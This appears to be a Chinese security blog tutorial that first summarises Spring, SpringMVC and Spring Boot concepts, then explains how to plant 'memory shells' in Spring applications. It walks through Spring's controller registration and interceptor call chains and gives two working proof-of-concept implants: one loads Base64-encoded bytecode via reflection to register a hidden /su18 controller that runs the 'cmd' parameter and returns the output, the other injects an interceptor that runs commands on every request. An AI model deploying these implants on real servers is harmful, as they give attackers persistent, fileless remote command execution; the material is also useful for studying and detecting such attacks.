Spring 概念总结
本节的前置知识是 Spring、SpringBoot、SpringMVC 。这里总结一下基本问题:
Spring Framework
Spring 是一个全功能的 Java 应用开发框架,提供核心容器功能、AOP、数据访问等模块。
- IoC(控制反转)容器:对 Java 对象的控制权由用户转移到 Spring IOC 容器,通过依赖注入(DI)管理对象的创建和依赖关系。
- AOP(面向切面编程):通过定义通知无侵入式的对切入点方法进行功能增强。
- 事务管理:提供声明式和编程式事务管理,支持数据库事务和其他资源的管理。
- DAO 支持:整合 JDBC、Hibernate、JPA 等数据访问框架。
- Context:ApplicationContext 作为核心容器,管理 Bean 的生命周期和依赖注入。
Spring 常用注解
- @Component:通用的组件注解,表明一个类会被 Spring IoC 容器管理。
- @Service:标注服务层的组件,具有
@Component
的功能,但语义更清晰,通常用于业务逻辑层。
- @Repository:用于标注数据访问层的组件,具备
@Component
的功能,并且附带数据库操作相关的功能(如异常转换)。
- @Controller:用于标注控制层的组件,通常与 Spring MVC 一起使用。
- @Autowired:自动装配 Bean,可以通过构造方法、字段、setter 方法进行注入。
- @Qualifier:与
@Autowired
结合使用,指定注入的具体实现类。
- @Primary:当有多个候选 Bean 时,优先选择标注了该注解的 Bean 进行注入。
- @Scope:定义 Bean 的作用域,常见的有
singleton
(默认)和 prototype
。
- @PostConstruct 和 @PreDestroy:用于标注 Bean 初始化和销毁时的操作。
SpringMVC
SpringMVC 是 Spring 框架的一个子项目,专注于构建基于 Web 的应用。
- Controller:处理 HTTP 请求的核心组件。
@Controller
注解用于定义控制器类,方法通过 @RequestMapping
或 @GetMapping
、@PostMapping
等映射 URL。
- Model:传递到视图层的数据对象。通常在控制器方法中使用
Model
或 ModelAndView
来包装数据。
- View Resolver(视图解析器):解析控制器返回的逻辑视图名称,将其映射到具体的视图(如 JSP、Thymeleaf)。
- Interceptor(拦截器):类似于过滤器,但更灵活,可以在请求到达控制器之前或之后进行拦截处理,如验证、日志记录等。通过实现
HandlerInterceptor
接口并配置到 SpringMVC 的配置文件中。
- Data Binding & Validation:支持将 HTTP 请求参数绑定到 Java 对象中,并且支持 JSR-303/JSR-380 注解进行数据校验(如
@Valid
、@NotNull
等)。
SpringMVC 常用注解
- @Controller:标识控制器,Spring MVC 会自动扫描带有该注解的类,将其作为请求处理器。
- @RequestMapping:用于映射 URL 到指定的控制器方法或类,支持 GET、POST 等 HTTP 请求。
- @GetMapping、**@PostMapping、@PutMapping、@DeleteMapping**:分别对应 HTTP 的四种常用请求方式,简化了
@RequestMapping
的使用。
- @RequestParam:用于绑定请求参数到方法的参数。
- @PathVariable:将 URL 中的路径参数绑定到方法参数。
- @ModelAttribute:用于将表单数据绑定到模型对象,或在控制器方法执行之前预先填充模型。
- @RequestBody:将请求体中的 JSON 数据转换为 Java 对象。
- @ResponseBody:将方法的返回值作为 HTTP 响应体返回,而不是跳转到页面。
- @RestController:组合注解,等同于
@Controller
和 @ResponseBody
,用于构建 RESTful API。
- @ExceptionHandler:用于处理控制器中的异常。
Spring Boot
Spring Boot 是基于 Spring 框架的快速开发框架,简化了配置,提供开箱即用的开发体验。
- Auto Configuration(自动配置):Spring Boot 的核心特性,自动配置常用组件,如数据库、MVC、消息队列等,避免繁琐的 XML 配置。
- Starter:Spring Boot 提供各种 Starter 依赖(如
spring-boot-starter-web
、spring-boot-starter-data-jpa
),可以轻松集成常见的功能模块。
- Embedded Server(嵌入式服务器):Spring Boot 提供了嵌入式服务器(如 Tomcat、Jetty),开发时无需手动部署到外部服务器。
- SpringApplication:启动 Spring Boot 应用的入口类,常见于
main
方法中调用 SpringApplication.run()
来启动应用。
- Actuator:用于监控和管理 Spring Boot 应用的模块,提供诸如健康检查、性能指标、应用信息等接口。
- CommandLineRunner & ApplicationRunner:提供在 Spring Boot 应用启动后执行的逻辑,常用于初始化工作。
SpringBoot 常用注解
- @SpringBootApplication:组合注解,等同于
@Configuration
、@EnableAutoConfiguration
和 @ComponentScan
。用于标注启动类,开启自动配置和组件扫描。
- @EnableAutoConfiguration:让 Spring Boot 根据依赖自动配置 Spring 应用上下文。
- @Configuration:定义配置类,等同于 XML 中的
<beans>
配置。
- @Bean:定义一个 Bean,方法返回值会被注册到 Spring 容器中。
- @Conditional:根据条件(如类存在、环境变量等)来决定是否创建某个 Bean。
- @EnableConfigurationProperties:启用配置属性,通常与
@ConfigurationProperties
配合使用。
- @ConfigurationProperties:用于将配置文件(如
application.properties
)中的属性映射到类上。
- @RestController:用于创建 RESTful API,自动将返回值作为响应体返回。
- @SpringBootTest:用于 Spring Boot 项目中的测试,加载整个应用程序的上下文。
常用的 Context
- ApplicationContext:Spring 的核心接口,提供 Bean 的管理、依赖注入、生命周期管理等功能。常用的实现类包括:
- ClassPathXmlApplicationContext:基于类路径下的 XML 文件进行配置。
- AnnotationConfigApplicationContext:基于 Java 注解进行配置。
- WebApplicationContext:专门为 Web 应用设计的上下文,Spring MVC 项目中通常会用到。
- ServletContext:代表整个 Web 应用程序的上下文,生命周期由 Web 容器管理,Spring 会与其整合以提供更多服务。
特点总结
- Spring:提供 IoC 和 AOP 的功能,核心是解耦组件,管理 Bean 的生命周期,提供事务管理等。
- Spring MVC:专注于 Web 层,处理 HTTP 请求和响应,遵循 MVC 模式,便于构建 Web 应用程序。
- Spring Boot:提供自动化配置,简化了 Spring 应用的配置过程,尤其适合快速开发和微服务架构。
Spring 内存马
依赖导入
Spring 的 Controller 型和 Interceptor 型内存马都需要 SpringMVC 的依赖:
1 2 3 4 5
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.2.10.RELEASE</version> </dependency>
|
Controller 型
Controller 注册流程
SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的。
RequestMappingHandlerMapping 的 afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration 这个配置类,然后调用了其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法:
其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法调用了 initHandlerMethods 方法,首先获取了 Spring 中注册的 Bean,然后循环遍历,调用 processCandidateBean 方法处理 Bean:
processCandidateBean 方法获取指定 bean 的类型,如果标识为处理程序类型(Handler),则调用 detectHandlerMethods 方法处理:
而在实现类 RequestMappingHandlerMapping 中,isHandler 方法用来判断当前类是否带有 @Controller 或 @RequestMapping 注解:
detectHandlerMethods(Object handler) 方法的主要作用是从指定的处理器(通常是一个控制器类)中检测所有的处理方法,并注册这些方法,以便 HandlerMapping 之后能够根据请求找到合适的处理方法:
第一步获取了指定类的 Class 对象
接着使用 MethodIntrospector.selectMethods() 通过反射扫描类中的所有方法,过滤出有请求映射的处理方法。
用 getMappingForMethod 为每个方法获取其请求映射信息(例如 @RequestMapping
注解中定义的 URL、HTTP 方法、请求参数等)。
最后通过 registerHandlerMethod() 将这些方法(method)与其对应的请求映射(mapping)注册到 SpringMVC 的处理机制中。
在实现类 RequestMappingHandlerMapping 中,getMappingForMethod 方法会返回一个 RequestMappingInfo 对象,这个对象包含了 RequestMapping 的基本信息:
而 registerHandlerMethod() 方法是调用了内部类 MappingRegistry 的 register 方法:
跟进这个 register 方法,其实就是完成了一些数据的封装、属性的赋值:
主要有这些属性:
以上就是 Controller 的注册流程。总结一下:
接口 InitializingBean#afterPropertiesSet() 用来实现 bean 的初始化,RequestMappingHandlerMapping 是它的实现类
1 2 3 4 5 6 7 8 9
| RequestMappingHandlerMapping#afterPropertiesSet() AbstractHandlerMethodMapping#afterPropertiesSet() AbstractHandlerMethodMapping#initHandlerMethods() AbstractHandlerMethodMapping#processCandidateBean(String) -> RequestMappingHandlerMapping#isHandler(Class<?>) # 判断当前类是否带有 @Controller 或 @RequestMapping 注解 -> AbstractHandlerMethodMapping#detectHandlerMethods(Object) -> RequestMappingHandlerMapping#getMappingForMethod(Method, Class<?>) # 获取注解相关信息 -> AbstractHandlerMethodMapping#registerHandlerMethod(Object, Method, T) AbstractHandlerMethodMapping$MappingRegistry#register(T, Object, Method) # 注册注解相关信息
|
Controller 查找原理
当发送一次请求,SpringMVC 是如何去查找到对应的 Controller 来处理的呢?
在 SpringMVC 的请求流程中,DispatcherServlet 收到请求后会通过 HandlerMapping 查找与请求路径匹配的处理器 Handler,然后交给 Handler 处理,这个 Handler 通常是一个 Controller :
我们重点关注 AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法,而在那之前的调用逻辑如下:
前面有一部分是 Tomcat 的逻辑,我们仅关注 DispatcherServlet 之后的部分。
AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法做了以下几件事:
- 它首先从
mappingRegistry
中尝试获取直接匹配 lookupPath
的方法映射。
- 如果找到,调用
addMatchingMappings
方法,将匹配项添加到 matches
列表中。
- 如果没有找到直接匹配项,继续遍历所有映射,寻找可能的匹配。
- 如果找到多个匹配项,会根据自定义比较器对匹配项进行排序,并选择最佳匹配。
- 如果请求为预检请求(CORS 请求),则返回预检处理结果。
- 如果匹配项存在冲突(多个方法同等匹配),会抛出异常。
- 最终,将最佳匹配的处理方法返回,并在请求中设置该匹配的处理方法;如果没有匹配项,调用
handleNoMatch
处理无匹配的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| @Nullable protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception { List<Match> matches = new ArrayList<>();
// 1. 从映射注册表中获取与 lookupPath 直接匹配的映射(如果存在) List<T> directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath); if (directPathMatches != null) { // 2. 如果找到了直接匹配的映射,尝试将这些映射添加到匹配列表中 addMatchingMappings(directPathMatches, matches, request); }
// 3. 如果没有找到直接匹配的映射,则需要遍历所有映射,尝试找到匹配项 if (matches.isEmpty()) { addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request); }
// 4. 如果找到至少一个匹配项 if (!matches.isEmpty()) { Match bestMatch = matches.get(0);
// 5. 如果找到多个匹配项,使用比较器对匹配项进行排序,并选择最佳匹配 if (matches.size() > 1) { Comparator<Match> comparator = new MatchComparator(getMappingComparator(request)); matches.sort(comparator); bestMatch = matches.get(0);
if (logger.isTraceEnabled()) { logger.trace(matches.size() + " matching mappings: " + matches); }
// 6. 如果请求是 CORS 预检请求,返回预检处理结果 if (CorsUtils.isPreFlightRequest(request)) { return PREFLIGHT_AMBIGUOUS_MATCH; }
// 7. 检查是否有多个完全相同的最佳匹配项,如果有则抛出异常 Match secondBestMatch = matches.get(1); if (comparator.compare(bestMatch, secondBestMatch) == 0) { Method m1 = bestMatch.handlerMethod.getMethod(); Method m2 = secondBestMatch.handlerMethod.getMethod(); String uri = request.getRequestURI(); throw new IllegalStateException( "Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}"); } }
// 8. 设置最佳匹配项并处理匹配 request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod); handleMatch(bestMatch.mapping, lookupPath, request);
// 9. 返回最佳匹配的处理方法 return bestMatch.handlerMethod; } else { // 10. 如果没有找到匹配项,调用 handleNoMatch 方法处理 return handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request); } }
|
成功找到了请求路径对应的 Controller 之后,就会去调用它,调用逻辑如下,就不具体分析了:
Controller 动态注册
其实就是调用 AbstractHandlerMethodMapping 内部类 MappingRegistry#register(T, Object, Method) 方法来将 Controller 相关的信息注册进去。
可以调试起来看执行到这个方法时它的参数是什么,而我们要做的就是模仿。
AbstractHandlerMethodMapping$MappingRegistry#register(T, Object, Method):
POC
我在 su18 师傅代码的基础上做了些修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| package controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Base64; import java.util.Map;
/** * 访问此接口动态添加 controller * * @author su18 */ @Controller @RequestMapping(value = "/add") public class AddController { public static String CONTROLLER_CLASS_STRING = "yv66vgAAADQAYwoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAA2NtZAsAEAARBwASDAATABQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsKAAgAFgwAFwAYAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAGgAbBwAcDAAdAB4BABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHACABABFqYXZhL3V0aWwvU2Nhbm5lcgoAHwAiDAAFACMBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYIACUBAAJcQQoAHwAnDAAoACkBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsKAB8AKwwALAAtAQAHaGFzTmV4dAEAAygpWgoAHwAvDAAwADEBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsIADMBAAALADUANgcANwwAOAA5AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwoAOwA8BwA9DAA+AD8BABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYHAEEBABljb250cm9sbGVyL1Rlc3RDb250cm9sbGVyAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMY29udHJvbGxlci9UZXN0Q29udHJvbGxlcjsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAFUBABNqYXZhL2lvL0lucHV0U3RyZWFtBwBXAQAQamF2YS9sYW5nL1N0cmluZwEACkV4Y2VwdGlvbnMHAFoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEANExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vR2V0TWFwcGluZzsBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAFL3N1MTgAIQBAAAIAAAAAAAIAAQAFAAYAAQBCAAAALwABAAEAAAAFKrcAAbEAAAACAEMAAAAGAAEAAAAOAEQAAAAMAAEAAAAFAEUARgAAAAEARwBIAAMAQgAAAMIAAwAGAAAAQbgABysSDbkADwIAtgAVtgAZTrsAH1kttwAhEiS2ACY6BBkEtgAqmQALGQS2AC6nAAUSMjoFLLkANAEAGQW2ADqxAAAAAwBDAAAAFgAFAAAAEQASABIAIQATADUAFABAABUARAAAAD4ABgAAAEEARQBGAAAAAABBAEkASgABAAAAQQBLAEwAAgASAC8ATQBOAAMAIQAgAE8AUAAEADUADABRAFIABQBTAAAADwAC/QAxBwBUBwAfQQcAVgBYAAAABAABAFkAWwAAAAYAAQBcAAAAAgBdAAAAAgBeAFsAAAASAAIAXwAAAGAAAQBhWwABcwBi";
public static Class<?> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { ClassLoader loader = Thread.currentThread().getContextClassLoader(); byte[] bytes = Base64.getDecoder().decode(classCode);
Method method = null; Class<?> clz = loader.getClass(); while (method == null && clz != Object.class) { try { method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); } catch (NoSuchMethodException ex) { clz = clz.getSuperclass(); } }
if (method != null) { method.setAccessible(true); return (Class<?>) method.invoke(loader, bytes, 0, bytes.length); }
return null;
}
@GetMapping() public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
final String controllerPath = "/su18";
// 获取当前应用上下文 WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 通过 context 获取 RequestMappingHandlerMapping 对象 RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取父类的 MappingRegistry 属性 Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); f.setAccessible(true); Object mappingRegistry = f.get(mapping);
// 反射调用 MappingRegistry 的 register 方法 Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
// 判断当前路径是否已经添加 Field field = c.getDeclaredField("urlLookup"); field.setAccessible(true);
Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry); for (String urlPath : urlLookup.keySet()) { if (controllerPath.equals(urlPath)) { response.getWriter().println("controller url path exist already"); return; } }
// 初始化一些注册需要的信息 PatternsRequestCondition url = new PatternsRequestCondition(controllerPath); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Class<?> myClass = this.getClass(CONTROLLER_CLASS_STRING);
for (Method method : ms) { if ("register".equals(method.getName())) { // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index method.setAccessible(true); method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]); response.getWriter().println("spring controller add"); } } } }
|
其中字符串 CONTROLLER_CLASS_STRING 所记录的字节码内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package controller;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping;
import java.io.InputStream; import java.util.Scanner;
@Controller @RequestMapping({"/su18"}) public class TestController { @GetMapping public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); } }
|
Interceptor 型
Interceptor 拦截器概念
拦截器(Interceptor)是一种动态拦截方法调用的机制,在 SpringMVC 中动态拦截控制器(Controller)方法的执行。
- 作用:
- 在指定的方法调用前后执行预先设定的代码
- 阻止原始方法的执行
- 总结:拦截器就是用来做增强
为了将拦截器(Interceptor)与过滤器(Filter) 做区分,我们来了解一下 Tomcat 是如何处理请求的:
(1) 浏览器发送一个请求会先到 Tomcat 的 web 服务器.
(2) Tomcat 服务器接收到请求以后,会去判断请求的是静态资源还是动态资源。
(3) 如果是静态资源,会直接到 Tomcat 的项目部署目录下去直接访问。
(4) 如果是动态资源,就需要交给项目的后台代码进行处理。
(5) 在找到具体的方法之前,我们可以去配置过滤器 Filter(可以配置多个),按照顺序进行执行。
(6) 然后进入到到中央处理器(DispatcherServlet),SpringMVC 会根据配置的规则进行拦截。
(7) 如果满足规则,则进行处理,找到其对应的 Controller 类中的方法进行执行,完成后返回结果;如果不满足规则,则不进行处理。
(8) 拦截器的作用就是在每个 Controller 方法执行的前后添加业务。
由此可以看出,拦截器和过滤器之间的区别:
- 归属不同:Filter 属于 Servlet 技术,Interceptor 属于 SpringMVC 技术
- 作用范围不同:Filter 对所有访问进行增强,Interceptor 仅针对 SpringMVC 的访问进行增强
那么如何手动编写一个 Interceptor 呢?
步骤 1 :创建拦截器类
一个标准的拦截器类应该实现 HandlerInterceptor 接口,重写接口中的 preHandle 、postHandle 、afterCompletion 三个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @Component //定义拦截器类,实现HandlerInterceptor接口 //注意当前类必须受Spring容器控制 public class ProjectInterceptor implements HandlerInterceptor { @Override //原始方法调用前执行的内容 public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("preHandle..."); return true; }
@Override //原始方法调用后执行的内容,如果控制器抛出未处理的异常,则不会被调用 public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("postHandle..."); }
@Override //原始方法调用完成后执行的内容,无论控制器是否抛出异常,都会被调用 public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterCompletion..."); } }
|
步骤 2 :配置拦截器类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @Configuration public class SpringMvcSupport extends WebMvcConfigurationSupport { @Autowired private ProjectInterceptor projectInterceptor;
@Override protected void addResourceHandlers(ResourceHandlerRegistry registry) { registry.addResourceHandler("/pages/**").addResourceLocations("/pages/"); }
@Override protected void addInterceptors(InterceptorRegistry registry) { //配置拦截器 registry.addInterceptor(projectInterceptor).addPathPatterns("/**"); } }
|
步骤 3 :SpringMVC 添加 SpringMvcSupport 包扫描
1 2 3 4 5
| @Configuration @ComponentScan({"controller", "Interceptor"}) @EnableWebMvc public class SpringMvcConfig{ }
|
这样一个 Interceptor 就创建完了。
Interceptor 调用流程
- Spring MVC 使用 DispatcherServlet 的
doDispatch
方法进入自己的处理逻辑;
- 通过
getHandler
方法,循环遍历 handlerMappings
属性,匹配获取本次请求的 HandlerMapping;
- 通过 HandlerMapping (实际上是其实现类 AbstractHandlerMapping)的
getHandler
方法,遍历 this.adaptedInterceptors
中的所有 HandlerInterceptor 类实例,加入到 HandlerExecutionChain 的 interceptorList 中;
- 调用 HandlerExecutionChain 的 applyPreHandle 方法,遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑。
这里我就不放代码了,直接梳理一下调用链:
1 2 3 4 5
| DispatcherServlet#doDispatch(HttpServletRequest, HttpServletResponse) -> DispatcherServlet#getHandler(HttpServletRequest) AbstractHandlerMapping#getHandler(HttpServletRequest) AbstractHandlerMapping#getHandlerExecutionChain(Object, HttpServletRequest) # 遍历 this.adaptedInterceptors,调用 HandlerExecutionChain.addInterceptor 将 HandlerInterceptor 实例加入到 HandlerExecutionChain 的 interceptorList 中 -> HandlerExecutionChain#applyPreHandle(HttpServletRequest, HttpServletResponse) # 遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑
|
POC
只需要将 Interceptor 加入到 AbstractHandlerMapping.adaptedInterceptors 中即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
@Controller public class AddInterceptor {
@ResponseBody @RequestMapping("/add2") public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//获取上下文环境 WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//获取adaptedInterceptors属性值 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
//将恶意Interceptor添加入adaptedInterceptors TestInterceptor testInterceptor = new TestInterceptor(); adaptedInterceptors.add(testInterceptor); }
public class TestInterceptor implements HandlerInterceptor{ @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true; } return false; } } }
|
寻常办法是无法回显的。
参考文章
JavaWeb 内存马基础
SpringMVC 源码之 Controller 查找原理
Java 安全学习 —— 内存马